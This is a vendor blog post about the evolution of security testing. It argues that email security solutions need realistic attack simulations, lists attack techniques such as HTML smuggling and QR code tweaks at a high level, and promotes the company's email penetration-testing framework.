The evolution of security testing
As cybersecurity and the threat landscape have evolved over the past 25 years, so have testing methodologies. Security testing today must not only measure effectiveness against known threats but also simulate realistic attack scenarios that reflect the techniques adversaries actually use. This is particularly true for endpoint security solutions, where static testing alone is no longer sufficient. Instead, dynamic testing methodologies must be employed to introduce threats in ways that mirror real-world attack vectors—such as malicious email attachments executed by users or fileless attacks leveraging legitimate system processes. Only then can AI/ML and behaviour based detection methods demonstrate their full potential.
Context-aware security has become critical, particularly for EDR/XDR solutions. Many modern attacks leverage "living off the land" techniques, where legitimate administrative tools like BitsAdmin or VNC are weaponized by attackers. This makes it essential to test solutions in ways that account for such contextual nuances.
The challenge of testing email security
Just as endpoint security testing has evolved, email security testing must also reflect real-world attack scenarios. At xorlab, we frequently engage in discussions about how to effectively test email security solutions, as simplistic methods often fail to capture the complexity of modern attacks. A proper evaluation cannot be done by merely setting up one fresh Gmail account and sending five test emails. Instead, testing must incorporate realistic delivery mechanisms and advanced attack techniques.
Here are some examples of attack scenarios that should be considered when testing email security solutions:
- Account hijacking: Attackers compromise a trusted email account and mimic the user’s writing style to evade NLP-based detections.
- Trusted link redirection hijacking: Open redirects on trusted platforms are abused to mislead users and bypass security measures.
- HTML smuggling: Malicious scripts are concealed within special HTML tags to bypass detection mechanisms.
- BEC/CEO fraud: Multi-stage phishing campaigns using social engineering to trick employees into initiating fraudulent financial transactions, often without any attachments or links.
- QR code attacks: Attackers slightly modify QR code images to bypass detection mechanisms that rely on simple conversion libraries.
- Fake CAPTCHAs: Phishing sites employ CAPTCHA challenges to prevent automated security crawlers from detecting the malicious content.
A better approach: realistic attack simulations
Effective email security testing should reveal the actual gaps in protection, rather than relying solely on user awareness as a safety net. The goal is to assess how well security solutions detect sophisticated attacks before they reach users' inboxes. When gaps are identified, organizations must determine whether additional defense layers are needed to close them.
To address this challenge, we developed our attack simulation framework—an "email penetration test" designed to measure resilience against advanced email threats. Our latest findings reveal a concerning trend: on average, 53% of simulated email attacks bypassed deployed security measures and landed in users' inboxes. This highlights the critical need for continuous testing and improvement in email security strategies.
By leveraging advanced attack simulations, organizations can gain a clearer understanding of their exposure to real-world email threats and take proactive steps to strengthen their defenses. You can read the full report on our findings from our attack simulation tests here.
